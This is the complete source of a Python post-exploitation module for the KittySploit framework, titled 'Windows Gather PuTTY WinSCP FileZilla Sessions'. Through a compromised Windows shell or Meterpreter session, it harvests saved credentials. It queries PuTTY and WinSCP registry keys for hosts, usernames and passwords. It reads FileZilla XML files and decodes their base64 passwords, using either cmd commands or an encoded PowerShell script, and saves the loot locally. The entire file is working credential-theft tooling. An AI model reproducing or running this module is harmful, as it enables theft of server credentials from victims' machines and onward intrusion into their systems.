Windows Gather PuTTY WinSCP FileZilla Sessions
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Extract saved PuTTY, WinSCP, and FileZilla session data from a Windows session.
"""
from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time
_LOCAL_OUT = "output"
class Module(Post):
__info__ = {
"name": "Windows Gather PuTTY WinSCP FileZilla Sessions",
"description": (
"Collect saved PuTTY registry sessions, WinSCP registry sessions, and "
"FileZilla XML site entries on a Windows shell or Meterpreter session."
),
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
"references": [
"https://attack.mitre.org/techniques/T1555/"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
save_local = OptBool(True, "Save results under ./output", False)
prefer_powershell = OptBool(
False,
"Prefer PowerShell when available (default: reg/type via cmd)",
False,
True,
)
def _execute_cmd(self, command: str) -> str:
if not command:
return ""
output = self.cmd_execute(command)
return output.strip() if output else ""
def _encode_powershell(self, script: str) -> str:
return base64.b64encode(script.encode("utf-16le")).decode("ascii")
def _run_powershell(self, script: str) -> str:
encoded = self._encode_powershell(script)
return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")
def _bool_opt(self, val, default=False) -> bool:
if val is None:
return default
if isinstance(val, bool):
return val
return str(val).strip().lower() in ("1", "true", "yes", "on")
def _powershell_script(self) -> str:
return r"""
function Decode-FileZillaPass {
param([string]$Encoded)
if ([string]::IsNullOrWhiteSpace($Encoded)) { return '' }
try {
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Encoded))
} catch {
return $Encoded
}
}
function Get-PuttySessions {
$base = 'HKCU:\Software\SimonTatham\PuTTY\Sessions'
if (-not (Test-Path -LiteralPath $base)) { return @() }
$rows = @()
Get-ChildItem -LiteralPath $base -ErrorAction SilentlyContinue | ForEach-Object {
$p = Get-ItemProperty -LiteralPath $_.PSPath -ErrorAction SilentlyContinue
if ($p) {
$rows += [PSCustomObject]@{
Session = $_.PSChildName
HostName = $p.HostName
UserName = $p.UserName
Port = $p.PortNumber
Protocol = $p.Protocol
ProxyUser = $p.ProxyUsername
ProxyPass = $p.ProxyPassword
}
}
}
$rows
}
function Get-WinScpSessions {
$roots = @(
'HKCU:\Software\Martin Prikryl\WinSCP 2\Sessions',
'HKCU:\Software\Martin Prikryl\WinSCP\Sessions'
)
$rows = @()
foreach ($base in $roots) {
if (-not (Test-Path -LiteralPath $base)) { continue }
Get-ChildItem -LiteralPath $base -ErrorAction SilentlyContinue | ForEach-Object {
$p = Get-ItemProperty -LiteralPath $_.PSPath -ErrorAction SilentlyContinue
if ($p) {
$rows += [PSCustomObject]@{
Session = $_.PSChildName
HostName = $p.HostName
UserName = $p.UserName
Password = $p.Password
Port = $p.PortNumber
FSProtocol = $p.FSProtocol
}
}
}
}
$rows
}
function Get-FileZillaSites {
$files = @(
(Join-Path $env:APPDATA 'FileZilla\recentservers.xml'),
(Join-Path $env:APPDATA 'FileZilla\sitemanager.xml')
)
$rows = @()
foreach ($file in $files | Select-Object -Unique) {
if (-not (Test-Path -LiteralPath $file)) { continue }
try {
[xml]$xml = Get-Content -LiteralPath $file -ErrorAction Stop
$nodes = $xml.SelectNodes('//Server')
foreach ($node in $nodes) {
$passNode = $node.SelectSingleNode('Pass')
$enc = if ($passNode) { $passNode.InnerText } else { '' }
$rows += [PSCustomObject]@{
Source = (Split-Path -Leaf $file)
Host = $node.SelectSingleNode('Host').InnerText
Port = $node.SelectSingleNode('Port').InnerText
User = $node.SelectSingleNode('User').InnerText
Password = (Decode-FileZillaPass -Encoded $enc)
Protocol = $node.SelectSingleNode('Protocol').InnerText
}
}
} catch {
$rows += [PSCustomObject]@{ Source = (Split-Path -Leaf $file); Host = ''; Port = ''; User = ''; Password = ''; Protocol = "parse error: $($_.Exception.Message)" }
}
}
$rows
}
$sections = New-Object System.Collections.Generic.List[string]
$putty = @(Get-PuttySessions)
if ($putty.Count -gt 0) {
$sections.Add("=== PuTTY Sessions ===`n$($putty | Format-Table -AutoSize | Out-String)")
} else {
$sections.Add("=== PuTTY Sessions ===`n(none found)")
}
$winscp = @(Get-WinScpSessions)
if ($winscp.Count -gt 0) {
$sections.Add("=== WinSCP Sessions ===`n$($winscp | Format-Table -AutoSize | Out-String)")
$sections.Add('(WinSCP passwords are often encrypted; offline decryption may be required)')
} else {
$sections.Add("=== WinSCP Sessions ===`n(none found)")
}
$fz = @(Get-FileZillaSites)
if ($fz.Count -gt 0) {
$sections.Add("=== FileZilla Sites ===`n$($fz | Format-Table -AutoSize | Out-String)")
} else {
$sections.Add("=== FileZilla Sites ===`n(none found)")
}
if (($putty.Count + $winscp.Count + $fz.Count) -eq 0) {
Write-Output 'No PuTTY, WinSCP, or FileZilla session data found.'
} else {
$sections -join "`n`n"
}
"""
def check(self):
return True
def _extract_via_cmd(self) -> str:
sections = []
putty = self._execute_cmd(
r'reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s'
)
if putty and "ERROR:" not in putty.upper():
sections.append(f"=== PuTTY Sessions ===\n{putty}")
else:
sections.append("=== PuTTY Sessions ===\n(none found)")
winscp = self._execute_cmd(
r'reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s'
)
if not winscp or "ERROR:" in (winscp or "").upper():
winscp = self._execute_cmd(
r'reg query "HKCU\Software\Martin Prikryl\WinSCP\Sessions" /s'
)
if winscp and "ERROR:" not in winscp.upper():
sections.append(
f"=== WinSCP Sessions ===\n{winscp}\n"
"(WinSCP passwords are often encrypted; offline decryption may be required)"
)
else:
sections.append("=== WinSCP Sessions ===\n(none found)")
fz_files = (
r"%APPDATA%\FileZilla\recentservers.xml",
r"%APPDATA%\FileZilla\sitemanager.xml",
)
fz_blocks = []
for path in fz_files:
exists = self._execute_cmd(f'if exist "{path}" (echo EXISTS) else (echo MISSING)')
if exists and "EXISTS" in exists:
content = self._execute_cmd(f'type "{path}"')
fz_blocks.append(f"=== FileZilla: {path} ===\n{content or '(empty)'}")
if fz_blocks:
sections.append("\n\n".join(fz_blocks))
else:
sections.append("=== FileZilla Sites ===\n(none found)")
joined = "\n\n".join(sections)
if (
"=== PuTTY Sessions ===\n(none found)" in joined
and "=== WinSCP Sessions ===\n(none found)" in joined
and "=== FileZilla Sites ===\n(none found)" in joined
):
return "No PuTTY, WinSCP, or FileZilla session data found."
return joined
def _save_output(self, content: str) -> str:
os.makedirs(_LOCAL_OUT, exist_ok=True)
stamp = time.strftime("%Y%m%d_%H%M%S")
local_path = os.path.join(_LOCAL_OUT, f"putty_winscp_filezilla_{stamp}.txt")
with open(local_path, "w", encoding="utf-8", errors="replace") as f:
f.write(content)
return local_path
def run(self):
if not self.check():
raise ProcedureError(win_compat_failure_type(), "Session dump prerequisites not met")
print_status("Collecting PuTTY, WinSCP, and FileZilla sessions...")
use_ps = self._bool_opt(self.prefer_powershell, False) and win_probe_powershell(self._execute_cmd)
if use_ps:
print_info("Using PowerShell")
result = self._run_powershell(self._powershell_script())
else:
if self._bool_opt(self.prefer_powershell, False):
print_warning("PowerShell preferred but not available — falling back to reg/cmd")
result = self._extract_via_cmd()
if not result:
raise ProcedureError(FailureType.Unknown, "No output was returned")
if re.search(r"No PuTTY, WinSCP, or FileZilla session data found", result, re.I):
print_warning(result)
return True
if self._bool_opt(self.save_local, True):
local_path = self._save_output(result + "\n")
print_success(f"Results saved to ./{local_path}")
print_success("Session extraction completed")
print_info(result)
return True
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